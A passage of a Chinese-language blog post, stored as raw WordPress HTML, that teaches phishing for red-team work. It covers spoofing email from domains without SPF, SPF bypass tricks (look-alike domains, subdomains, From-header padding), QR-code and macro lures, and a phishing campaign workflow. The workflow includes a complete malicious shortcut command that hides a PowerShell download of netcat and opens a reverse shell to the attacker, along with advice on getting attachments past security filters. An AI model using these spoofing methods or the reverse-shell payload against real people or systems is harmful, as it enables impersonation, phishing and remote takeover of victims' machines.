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href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/08e461a0d15722b7e23617e0404342f5.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"541\" height=\"253\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/08e461a0d15722b7e23617e0404342f5.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-712\"  sizes=\"auto, (max-width: 541px) 100vw, 541px\" \/><\/div><\/figure>\n\n\n\n<p>\u53ef\u4ee5\u901a\u8fc7nslookup -type=txt xxx\u5224\u65ad\u662f\u5426\u5f00\u542f\u4e86SPF<br><code><strong>v=spf1<\/strong><\/code><strong> \u2192 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class=\"wp-block-heading\">\u672a\u8bbe\u7f6eSPF\u8bb0\u5f55<\/h3>\n\n\n\n<p>\u5bf9\u4e8e\u672a\u8bbe\u7f6eSPF\u8bb0\u5f55\u7684\u57df\u540d\uff0c\u6211\u4eec\u53ef\u4ee5\u4f2a\u9020\u6210\u90ae\u4ef6\u5730\u5740\u4e0b\u4efb\u610f\u7528\u6237\u7ed9\u5176\u4ed6\u4eba\u53d1\u9001\u90ae\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-121-1024x369.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"369\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-121-1024x369.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-718\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f7f\u7528MAilLog\u8fdb\u884c\u4f2a\u9020test.com\u57df\u540d\u4e0b\u7684admin\u6765\u53d1\u9001\u90ae\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-122-1024x286.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"286\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-122-1024x286.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-720\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-123-1024x487.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"487\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-123-1024x487.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-721\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u8bbe\u7f6eSPF\u8bb0\u5f55<\/h3>\n\n\n\n<p><strong>\u5229\u7528\u77e5\u540d\u670d\u52a1\u5668\u4e2d\u8f6c\u7ed5\u8fc7<\/strong><br>\u67e5\u770b\u539f\u59cb\u90ae\u4ef6\u4f1a\u53d1\u73b0\u5b58\u5728smtp.from\u4ee5\u53cafrom\u5b57\u6bb5\u3002smtp.from\u4ee3\u8868\u7684\u5c31\u662f\u771f\u6b63\u53d1\u4ef6\u4eba\uff0c\u6536\u4ef6\u670d\u52a1\u5668\u4f1a\u53bb\u5176\u4ee3\u8868\u7684\u57df\u4e0b\u8fdb\u884cSPF\u8bb0\u5f55\u6821\u9a8c\uff0cfrom\u5b57\u6bb5\u662f\u6211\u4eec\u81ea\u5b9a\u7684\u90ae\u4ef6data\u5b57\u6bb5\uff0c\u5982\u679c\u4e24\u8005\u4e0d\u4e00\u81f4\u65f6\uff0c\u90ae\u4ef6\u670d\u52a1\u5546\u53ef\u80fd\u4f1a\u5728\u5ba2\u6237\u7aef\u663e\u793a\u4ee3\u53d1\uff0c\u7528\u6765\u63d0\u793a\u6536\u4ef6\u4eba\u90ae\u4ef6\u4f2a\u9020\u653b\u51fb\u98ce\u9669\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-124.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"964\" height=\"451\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-124.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-722\"  sizes=\"auto, (max-width: 964px) 100vw, 964px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-125.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"609\" height=\"379\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-125.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-723\"  sizes=\"auto, (max-width: 609px) 100vw, 609px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u77e5\u540d\u90ae\u7bb1\u5730\u5740\u5b57\u7b26\u6df7\u6dc6\u7ed5\u8fc7<\/strong><br>\u89c6\u89c9\u4e0a\u8fdb\u884c\u7ed5\u8fc7\uff0cbaidu.com\u4e0eba1du.com<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-126.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"873\" height=\"474\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-126.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-724\"  sizes=\"auto, (max-width: 873px) 100vw, 873px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u5b50\u57df\u540d\u7ed5\u8fc7<\/strong><br>\u90ae\u4ef6\u57df\u540d\u8bbe\u7f6e\u4e86SPF\uff0c\u4f46\u5176\u5b50\u57df\u540d\u672a\u8bbe\u7f6eSPF\u7684\u8bdd\uff0c\u6bd4\u5982huawei.com\u4e0a\u8bbe\u7f6e\u4e86SPF\u8bb0\u5f55\uff0c\u4f46\u662ftest.huawei.com\u6ca1\u6709\u8bbe\u7f6eSPF\uff0c\u53ef\u4ee5\u4f2a\u9020test.huawei.com\u57df\u4e0b\u4efb\u4f55\u7528\u6237\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-127-1024x392.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"392\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-127-1024x392.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-725\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><strong>From\u5b57\u7b26\u586b\u5145\u7ed5\u8fc7<\/strong><br>\u5728\u7528SMTP\u53d1\u9001\u7535\u5b50\u90ae\u4ef6\u65f6\uff0c\u901a\u8fc7\u5bf9from\u5b57\u6bb5\u586b\u5145\u5927\u91cf\u7684\u7279\u6b8a\u5b57\u7b26\uff0c\u4f7f\u90ae\u7bb1\u5ba2\u6237\u7aef\u622a\u53d6\u771f\u5b9e\u7684\u53d1\u9001\u4eba\u90ae\u4ef6\u5730\u5740\u5931\u8d25\uff0c\u4ece\u800c\u53ea\u5c55\u793a\u6211\u4eec\u4f2a\u9020\u7684\u53d1\u4ef6\u4eba\u522b\u540d\u548c\u4f2a\u9020\u90ae\u7bb1<br><strong>From\u672c\u8eab\u5c31\u662f\u53ef\u63a7\u7684\uff0c\u4f46\u662f\u4e3a\u4ec0\u4e48\u8fd8\u9700\u8981\u8fdb\u884c\u586b\u5145\u7ed5\u8fc7\uff1f<\/strong><br><strong>\u4e3b\u8981\u662f\u4e3a\u4e86\u8ba9\u5ba2\u6237\u7aef\u5728\u89e3\u6790\u7684\u65f6\u5019\u51fa\u73b0\u89e3\u6790\u7f3a\u9677\u8ba9From\u5728\u5c55\u793a\u5c42\u88ab\u9519\u8bef\u89e3\u6790\u6216\u8005\u622a\u65ad\u4ece\u800c\u8bef\u5bfc\u7528\u6237\u3002<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-128-1024x300.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"300\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-128-1024x300.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-726\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>From: &#8220;Alice&#8221; <a href=\"mailto:alice@example.com\">alice@example.com<\/a><br>\u6240\u6709\u5ba2\u6237\u7aef\u90fd\u6b63\u5e38\u663e\u793aAlice <a>alice@example.com<\/a><br>From: &#8220;PayPal <a href=\"mailto:support@paypal.com\">support@paypal.com<\/a>&#8221; <a href=\"mailto:attacker@evil.com\">attacker@evil.com<\/a><br>\u53ef\u80fd\u663e\u793a\u4e3aPayPal\uff1bPayPal <a>attacker@evil.com<\/a>\uff1b\u6807\u8bb0\u4e3a\u4ee3\u53d1\uff1b<a href=\"mailto:attacker@evil.com\">attacker@evil.com<\/a><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u9493\u9c7c\u90ae\u4ef6\u7684\u59ff\u52bf<\/h3>\n\n\n\n<p><strong>\u9493\u9c7c\u94fe\u63a5<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-129.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"626\" height=\"334\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-129.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-727\"  sizes=\"auto, (max-width: 626px) 100vw, 626px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u9493\u9c7c\u4e8c\u7ef4\u7801<\/strong><\/p>\n\n\n\n<p> \u90ae\u4ef6\u91cc\u542b\u6709\u4e8c\u7ef4\u7801\u6216\u9644\u4ef6\u6587\u4ef6\u91cc\u542b\u4e8c\u7ef4\u7801<br>\u641c\u72d0\u62ab\u9732\u51fa\u7684\u4e8c\u7ef4\u7801\u9493\u9c7c\u4e8b\u4ef6<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-130.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"401\" height=\"225\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-130.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-728\"  sizes=\"auto, (max-width: 401px) 100vw, 401px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-131.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"393\" height=\"463\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-131.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-729\"  sizes=\"auto, (max-width: 393px) 100vw, 393px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-132.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"416\" height=\"534\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-132.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-730\"  sizes=\"auto, (max-width: 416px) 100vw, 416px\" \/><\/div><\/figure>\n\n\n\n<p><strong>Office\u5b8f\u75c5\u6bd2\u653b\u51fb<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-133.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"675\" height=\"375\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-133.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-731\"  sizes=\"auto, (max-width: 675px) 100vw, 675px\" \/><\/div><\/figure>\n\n\n\n<p><strong>\u8fdc\u63a7\u6728\u9a6c\u653b\u51fb<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-134-1024x381.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"381\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-134-1024x381.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-732\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">\u9493\u9c7c\u5e38\u7528\u624b\u6cd5\u603b\u7ed3<\/h3>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-135.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"207\" height=\"237\" data-original=\"http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-135.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-734\"\/><\/div><\/figure>\n\n\n\n<p><strong>\u90ae\u7bb1\u641c\u96c6<\/strong><br>\u641c\u96c6\u96c6\u56e2\u3001\u5b50\u516c\u53f8\u5916\u7f51\u90ae\u7bb1\u5730\u5740<br>\u641c\u96c6\u76ee\u6807\u516c\u53f8\u90ae\u7bb1<br><strong>\u4e3b\u9898\u8bbe\u5b9a<\/strong><br>\u660e\u786e\u9493\u9c7c\u7684\u4e3b\u9898\u548c\u76ee\u7684<br>\u6839\u636e\u9493\u9c7c\u76ee\u7684\u4e0d\u540c\uff0c\u7f16\u5199\u76f8\u5e94\u7684\u5185\u5bb9<br><strong>\u9644\u4ef6\u5236\u4f5c<\/strong><br>lnk\u9a6c\uff1a\u901a\u8fc7bat\u4e0a\u7ebfexe\u7684\u65b9\u6cd5\u4f1a\u76f4\u63a5\u88ab\u6740\uff0c\u901a\u8fc7\u5c5e\u6027\u4e2d\u7684\u76ee\u6807\u8fd0\u884cexe\u5219\u4e0d\u4f1a\u3002<br>\u8fd9\u91cc\u670d\u52a1\u5f00\u542fnc\u76d1\u542c\uff0clnk\u901a\u8fc7\u8fdc\u7a0b\u4e0b\u8f7dnc\u7136\u540e\u8fdb\u884c\u8fde\u63a5\u53cd\u5f39shell<br>C:\\Windows\\System32\\cmd.exe \/c &#8220;echo HelloWorld > &#8220;%TEMP%\\password.txt&#8221; &amp; start notepad &#8220;%TEMP%\\password.txt&#8221; &amp; powershell -nop -w hidden -c &#8220;iwr -outf %TEMP%\\nc.exe http:\/\/47.xx.xxx.xxx \/a.exe; &amp; %TEMP%\\nc.exe 47.xx.xxx.xxx 443 -e cmd.exe&#8221;&#8221;<br>exe\u9a6c<br>\u538b\u7f29\u5305\u52a0\u5bc6\uff08\u6587\u4ef6\u540d\uff09<br><strong>\u5f53\u5b89\u5168\u8bbe\u5907\u62e6\u622a\uff1alnk\u3001exe\u538b\u7f29\u9644\u4ef6\uff0c\u89e3\u51b3\u65b9\u6cd5\u662f\u901a\u8fc7\u9644\u4ef6\u52a0\u5bc6\u53d1\u9001\uff08\u6587\u4ef6\u540d\u4e0d\u52a0\u5bc6\uff09\uff0c\u53d1\u9001\u4e0d\u5e26\u9644\u4ef6\u7684\u9493\u9c7c\u90ae\u4ef6\u6bd4\u5982\u4e3b\u9898\u586b\u5199OA\u8d26\u53f7\u5bc6\u7801\u5b9a\u65f6\u4fee\u6539\uff0c\u8fdc\u7a0b\u4e0b\u8f7d\u6740\u6bd2\u7a0b\u5e8f\uff0c\u8fdb\u884c\u7535\u8111\u67e5\u6740\uff0c\u5f31\u53e3\u4ee4\u6392\u67e5\u7b49<\/strong><br><strong>\u90ae\u4ef6\u53d1\u9001<\/strong><br><strong>\u96c6\u56e2\u57df\u540d\u7684\u90ae\u7bb1\u53d1\u9001\u4e0d\u6210\u529f\uff0c\u53ef\u4ee5\u5173\u6ce8\u4e00\u4e9b\u975e\u96c6\u56e2\u90ae\u7bb1\uff0c\u6bd4\u5982\u5b50\u516c\u53f8\u4f7f\u7528\u81ea\u5df1\u7684\u90ae\u4ef6\u670d\u52a1\u5668\uff0c\u6ca1\u6709\u8bbe\u7f6e\u5b89\u5168\u7b56\u7565\u3002<\/strong><br>\u641c\u96c6\u516c\u5f00\u7684\u90ae\u7bb1\u8d26\u53f7<br>\u6d4b\u8bd5\u90ae\u4ef6\u53d1\u9001\u60c5\u51b5<br>\u53d1\u9001\u9493\u9c7c\u90ae\u4ef6\uff0c\u7b49\u5f85\u4e0a\u7ebf<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/charlottezhiend.cn:8080\/wp-content\/uploads\/2026\/03\/image-136-1024x536.png'><img class=\"lazyload lazyload-style-1\" 